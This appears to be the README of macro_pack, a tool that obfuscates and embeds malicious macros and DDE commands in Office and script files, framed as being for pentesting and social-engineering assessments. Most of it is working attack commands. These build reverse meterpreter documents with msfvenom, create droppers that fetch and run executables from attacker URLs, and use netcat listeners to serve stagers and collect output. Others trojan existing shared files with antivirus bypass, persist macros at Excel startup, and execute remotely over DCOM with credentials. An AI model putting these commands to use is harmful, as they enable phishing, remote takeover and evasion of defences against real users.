macro_pack - Tool Used To Automatize Obfuscation And Generation Of Ms Office Documents For Pentest, Demo, And Social Engineering Assessments

• No configuration
• Everything can be done using a single line of code
• Generation of majority of Office formats and VBS based formats
• Advanced VBA macro attacks as well as DDE attacks

• Renaming functions
• Renaming variables
• Removing spaces
• Removing comments
• Encoding Strings

• MS Word 97 (.doc)
• MS Word (.docm, .docx)
• MS Excel 97 (.xls)
• MS Excel (.xlsm)
• MS PowerPoint (.pptm)
• MS Visio 97 (.vsd)
• MS Visio (.vsdm)
• MS Project (.mpp)

• VBA text file (.vba)
• VBS text file (.vbs)
• Windows Script Host (.wsh)
• Windows Script Components scriptlets (.wsc, .sct)
• HTML Applications (.hta)

• Advance antimalware bypass
• VBOM security bypass
• Self decoding VBA
• MS Office persistance
• Trojan existing MS Office documents
• Lateral movement using DCOM objects
• Anti-debug using http://seclists.org/fulldisclosure/2017/Mar/90

• You significally contribute to macro_pack on GitHub + I need to know your identity

1. Get the latest binary from https://github.com/sevagas/macro_pack/releases/
2. Download binary on PC with genuine Microsoft Office installed.
3. Open console, CD to binary dir and call the binary, simple as that!

macro_pack.exe --help

git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt

python3 macro_pack.py  --help
# or
python macro_pack.py --help # if python3 is default install

• Install PyCrypto at http://www.voidspace.org.uk/python/pycrypto-2.6.1/
• Double-click on the "build.bat" script on a Windows machine.

• Obfuscate the vba file generated by msfvenom and put result in a new vba file.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba

• Obfuscate Empire stager vba file and generate a MS Word document:

macro_pack.exe -f empire.vba -o -G myDoc.docm

• Generate an MS Excel file containing an obfuscated dropper (download payload.exe and store as dropped.exe)

echo "https://myurl.url/payload.exe" "dropped.exe" |  macro_pack.exe -o -t DROPPER -G "drop.xlsm" 

• Create a word 97 document containing an obfuscated VBA reverse meterpreter payload inside a share folder:

msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G \\REMOTE-PC\Share\meter.doc   

• Download and execute Empire Launcher stager without powershell.exe by using DROPPER_PS template

# 1 Generate a fiez containing Empire lauchcher 
# 2 Make that file available on web server, ex with netcat:
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat empire_stager.cmd; } | nc -l -p 6666 -q1
# 3 Use macro\_pack  to generate DROPPER_PS payload in Excel file
echo http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls
# 4 When executed on target, the macro will download PowerShdll, run it with rundll32, and download and execute stager.

• Execute calc.exe via Dynamic Data Exchange (DDE) attack

echo calc.exe | macro_pack.exe --dde -G dde_test.docx

• Download and execute file via powershell using Dynamic Data Exchange (DDE) attack

# 1 Change the target file URL in resources\community\ps_dl_exec.cmd
# 2 Embed download execute cmd in document
python macro_pack.py --dde -f ..\resources\community\ps_dl_exec.cmd -G DDE.doc

• Generate obfuscated Meterpreter reverse TCP VBS file and run it

# 1 Generate obfuscated VBS based on meterpreter template
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.vbs
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set LHOST 0.0.0.0
set PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
# 3 run VBS file with wscript (run 32bit wscript because meterpreter payload is 32bit)
%windir%\SysWoW64\wscript meter.vbs

• Generated obfuscated HTA file which executes "systeminfo" and returns result to another macro_pack listening on 192.168.0.5

# 1 Generate HTA file with CMD template
echo http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t CMD -o -G info.hta
# 2 On 192.168.0.5 open macro_pack as http listener
macro_pack.exe -l 1234
# 3 run hta file with mshta
mshta.exe full/path/to/info.hta

• Generate obfuscated Meterpreter reverse https TCP SCT file and run it

# 1 Generate obfuscated VBS scriptlet based on meterpreter reverse HTTPS template
echo <ip> <port> | macro_pack.exe -t WEBMETER -o -G meter.sct
# 2 On attacker machinge Setup meterpreter listener
Open msfconsole:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https

set LHOST <attacker_ip> # NOTE this cannot be 0.0.0.0 for reverse https
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j
# 3 run scriptlet with regsvr32 
regsvr32 /u /n /s /i:meter.sct scrobj.dll

• Trojan the existing shared "report.xlsm" file with a dropper. Use anti-AV and anti-debug features.

echo "http://10.5.5.12/drop.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER2 --trojan --av-bypass --stealth  -G "E:\accounting\report.xls"   

• Genenerate a Word file containing VBA self encoded x64 reverse meterpreter VBA payload (will bypass most AV). Keep-alive is needed because we need meterpreter to stay alive before we migrate.

msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --vbom-encode --keep-alive  -G  out.docm

• Trojan a PowerPoint file with a reverse meterpreter. Macro is obfuscated and mangled to bypass most antiviruses.

msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba |  macro_pack.exe -o --av-bypass --trojan -G  hotpics.pptm

• Execute a macro on a remote PC using DCOM

REM Step 1: Ensure you have enough rights
net use  \\192.168.0.8\c$ /user:domain\username password

REM Step 2: Generate document, for example here, meterpreter reverse TCP Excel file
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsm
REM Step 3: Copy the document  somewhere on remote share
copy meter.xlsm "\\192.168.0.8\c$\users\username\meter.xlsm"
REM Step 4: Execute!
macro_pack.exe --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

REM Step 2 to 4 in one step:
echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "\\192.168.0.8\c$\users\username\meter.xlsm" --dcom="\\192.168.0.8\c$\users\username\meter.xlsm"

    -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option 
        If no input file is provided, input must be passed via stdin (using a pipe).

    -q, --quiet Do not display anything on screen, just process request. 

    -o, --obfuscate  Same as '--obfuscate-form --obfuscate-names --obfuscate-strings'
    --obfuscate-form Modify readability by removing all spaces and comments in VBA
    --obfuscate-strings Randomly split strings and encode them
    --obfuscate-names   Change functions, variables, and constants names

    -s, --start-function=START_FUNCTION   Entry point of macro file 
        Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open  as the start function

    -t, --template=TEMPLATE_NAME    Use VBA template already included in macro_pack.exe.
        Available templates are: HELLO, CMD, DROPPER, DROPPER2, DROPPER_PS, DROPPER_DLL, METERPRETER, EMBED_EXE 
        Help for template usage: macro_pack.exe -t help


    -G, --generate=OUTPUT_FILE_PATH. Generates a file containing the macro. Will guess the format based on extension.
        Supported extensions are: vba, vbs, hta, doc, docm, xls, xlsm, pptm, vsd, vsdm.
        Note: Apart from vba which is a text files, all other requires Windows OS with right MS Office application installed.

    -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document.
         Use with EMBED_EXE template to auto drop and exec the file.

    --dde  Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE
         DDE attack mode is not compatible with VBA Macro related options.
         Usage: echo calc.exe | macro_pack.exe --dde -W DDE.docx
         Note: This option requires Windows OS with genuine MS Office installed.

    --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations.
       This will trigger AutoOpen/Workbook_Open automatically. 
       If no auto start function, use --start-function option to indicate which macro to run. 

    -l, --listen=PORT Open an HTTP server listening on defined port.

    -h, --help   Displays help and exit

  Notes:
    If no output file is provided, the result will be displayed on stdout.
    Combine this with -q option to pipe only processed result into another program
    ex: macro_pack.exe -f my_vba.vba -o -q | another_app
    Another valid usage is:
    cat input_file.vba | macro_pack.exe -o -q  > output_file.vba

    --vbom-encode   Use VBA self encoding to bypass antimalware detection and enable VBOM access (will exploit VBOM self activation vuln).
                  --start-function option may be needed.
    --av-bypass  Use various tricks  efficient to bypass most av (combine with -o for best result)
    --keep-alive    Use with --vbom-encode option. Ensure new app instance will stay alive even when macro has finished
    --persist       Use with --vbom-encode option. Macro will automatically be persisted in application startup path
                    (works with Excel documents only). The macro will then be executed anytime an Excel document is opened (even non-macro documents).
    -T, --trojan=OUTPUT_FILE_PATH   Inject macro in an existing MS office file. 
                    Supported files are the same as for the -G option.
                    Files will also be converted to approriate format, ex: pres.pptx will become pres.pptm
                    If file does not exist, it will be created (like -G option)
    --stealth      Anti-debug and hiding features
    --dcom=REMOTE_FILE_PATH Open remote document using DCOM for pivot/remote exec if psexec not possible for example.
                   This will trigger AutoOpen/Workboo_Open automatically. 
                   If no auto start function, use --start-function option to indicate which macro to run.

# Catch result with any webserver or netcat
nc -l -p 7777

REM Generate meterpreter dll payload
msfvenom.bat  -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dll
REM Make it available on webserver, ex using netcat on port 6666
{ echo -ne "HTTP/1.0 200 OK\r\n\r\n"; cat meter.dll; } | nc -l -p 6666 -q1
REM Create OFfice file which will download DLL and call it
REM The DLL URL is http://192.168.0.5:6666/normal.html and it will be saved as .asd file
echo "http://192.168.0.5:6666/normal.html" Run | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <port>
set AutoRunScript post/windows/manage/migrate
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j

set PAYLOAD windows/meterpreter/reverse_https (32bit)
set PAYLOAD windows/x64/meterpreter/reverse_https (64bit)
set AutoRunScript post/windows/manage/migrate
set LHOST <ip>
set LPORT <port>
set EXITFUNC thread
set ExitOnSession false
set EnableUnicodeEncoding true
set EnableStageEncoding true
exploit -j

• http://blog.sevagas.com/?My-VBA-Bot (write a full VBA RAT, includes how to bypass VBOM protection)
• http://pwndizzle.blogspot.fr/2017/03/office-document-macros-ole-actions-dde.html
• https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (About Dynamic Data Exchange attacks)
• https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
• https://labs.mwrinfosecurity.com/blog/dll-tricks-with-vba-to-improve-offensive-macro-capability/

• https://github.com/p3nt4/PowerShdll (Run PowerShell with dlls only)
• https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Run powershel script with PowerShdll VBA implementation)
• https://enigma0x3.net/2016/03/15/phishing-with-empire/ (Generate Empire VBA payload)
• https://github.com/EmpireProject/Empire
• https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
• https://www.metasploit.com/
• https://github.com/Cn33liz/MacroMeter
• https://github.com/khr0x40sh/MacroShop